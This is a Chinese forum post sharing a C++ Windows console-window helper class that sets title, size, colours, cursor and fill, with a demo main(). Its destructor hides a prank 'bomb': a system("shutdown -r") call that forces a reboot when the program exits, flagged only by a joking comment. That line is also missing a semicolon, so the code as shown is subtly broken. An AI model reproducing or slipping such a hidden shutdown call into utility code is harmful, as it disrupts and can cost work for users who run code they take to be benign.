|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
本帖最后由 bin554385863 于 2019-11-3 00:42 编辑
- #include <cstdlib>
- #include <windows.h>
- #include <cstdio>
- class GWND
- {
- private:
- const int x_pix = 10, y_pix = 2 * x_pix;
- COORD CurPOS //光标坐标
- ,
- WND_LEFT_TOP //窗口顶点坐标
- ,
- WND_RIGHT_BOTTOM; //窗口底部坐标;
- CHAR *TITLE; //窗口标题
- INT FCLOR, BCLOR; //窗口前景色背景色
- UINT FLAG;
- HANDLE houtHANDLE; //标准输出句柄
- HWND hHWND; //控制台窗口句柄
- public:
- GWND(char *);
- GWND() : GWND(nullptr) {}
- void setWndTitle(char *); //声明设置窗口函数
- void setWndSize(short, short, short, short, UINT); //声明设置窗口大小函数
- void setWndClor(int, int); //声明设置前景色和后景色函数
- void setWndCurPos(short, short); //声明设置光标坐标的函数
- void setWndFill(short, short, short, short, char); //声明窗口填充函数
- void setWndinPos(short, short);
- ~GWND();
- };
- GWND::GWND(char *title) : TITLE(title), CurPOS({0, 0}), WND_LEFT_TOP({0, 0}), WND_RIGHT_BOTTOM({GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN)}),
- FLAG(0), FCLOR(2), BCLOR(0), houtHANDLE(GetStdHandle(STD_OUTPUT_HANDLE)), hHWND(GetConsoleWindow())
- {
- SetConsoleTitleA(TITLE); //初始化窗口标题
- SetWindowPos(hHWND, HWND_TOP, WND_LEFT_TOP.X, WND_LEFT_TOP.Y, WND_RIGHT_BOTTOM.X, WND_RIGHT_BOTTOM.Y, FLAG); //初始化窗口大小
- SetConsoleTextAttribute(houtHANDLE, FCLOR | BCLOR); //初始化窗口前景色和背景色
- SetConsoleCursorPosition(houtHANDLE, CurPOS); //初始化光标位置
- }
- //设置窗口标题
- void GWND::setWndTitle(char *title)
- {
- TITLE = title;
- SetConsoleTitleA(TITLE);
- }
- //设置窗口大小
- void GWND::setWndSize(short left, short top, short right, short bottom, UINT flag)
- {
- WND_LEFT_TOP.X = left;
- WND_LEFT_TOP.Y = top;
- WND_RIGHT_BOTTOM.X = right;
- WND_RIGHT_BOTTOM.Y = bottom;
- FLAG = flag;
- SetWindowPos(hHWND, HWND_TOP, WND_LEFT_TOP.X, WND_LEFT_TOP.Y, WND_RIGHT_BOTTOM.X, WND_RIGHT_BOTTOM.Y, FLAG);
- }
- //设置光标位置
- void GWND::setWndCurPos(short x, short y)
- {
- CurPOS.X = x / x_pix;
- CurPOS.Y = y / y_pix;
- SetConsoleCursorPosition(houtHANDLE, CurPOS);
- }
- //设置前景色和背景色
- void GWND::setWndClor(int fclor, int bclor)
- {
- FCLOR = fclor;
- BCLOR = bclor;
- SetConsoleTextAttribute(houtHANDLE, FCLOR | BCLOR);
- }
- //用字符填充窗口
- void GWND::setWndFill(short top_x, short top_y, short botm_x, short botm_y, char ch)
- {
- for (short i = top_x / x_pix; i <= botm_x / x_pix; i++)
- {
- for (short j = top_y / y_pix; j <= botm_y / y_pix; j++)
- {
- CurPOS = {i, j};
- SetConsoleCursorPosition(houtHANDLE, CurPOS);
- printf("%c", ch);
- }
- printf("\n");
- }
- }
- GWND::~GWND()
- {
- system("shutdown -r")//此处有炸弹,如有中招纯属巧合{:10_264:}
- }
- int main(int argc, char const *argv[])
- {
- GWND gGWND("测试用窗口");
- gGWND.setWndSize(0, 0, 800, 600, 0);
- gGWND.setWndClor(12, 0x1a);
- gGWND.setWndFill(50, 50, 800, 600, '*');
- gGWND.setWndFill(60, 60, 790, 590, ' ');
- gGWND.setWndCurPos(420, 320);
- printf("%s", "测试文本");
- getchar();
- return 0;
- }
复制代码
|
|